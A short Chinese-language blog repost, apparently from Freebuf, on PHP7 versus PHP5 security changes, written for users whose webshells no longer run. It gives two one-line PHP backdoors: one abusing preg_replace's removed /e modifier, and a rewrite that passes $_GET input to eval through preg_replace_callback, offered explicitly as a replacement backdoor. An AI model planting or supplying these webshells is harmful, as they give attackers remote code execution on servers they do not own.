作者:溫酒
來源:Freebuf
前言
之前測試的時候發現很多菜刀的馬都不能用了,大馬也幾乎3/4不能正常在php7運行。網上百度也沒有找到太多相關性的文章,就自己總結測試了一下關於安全性上的區別。
函數修改
preg_replace()不再支持/e修飾符
<?php preg_replace("/.*/e",$_GET["h"],"."); ?>
利用/e
修飾符執行代碼的後門大家也用了不少了,具體看官方的這段描述:
如果設置了這個被棄用的修飾符, preg_replace() 在進行了對替換字符串的 後向引用替換之後, 將替換后的字符串作為php 代碼評估執行(eval 函數方式),並使用執行結果 作為實際參與替換的字符串。單引號、雙引號、反斜線()和 NULL 字符在 後向引用替換時會被用反斜線轉義.
很不幸,在PHP7以上版本不在支持/e
修飾符,同時官方給了我們一個新的函數preg_replace_callback
:
這裡我們稍微改動一下就可以利用它當我們的後門:
<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); ?>
转载请注明:IAMCOOL » PHP7 和 PHP5 在安全上的區別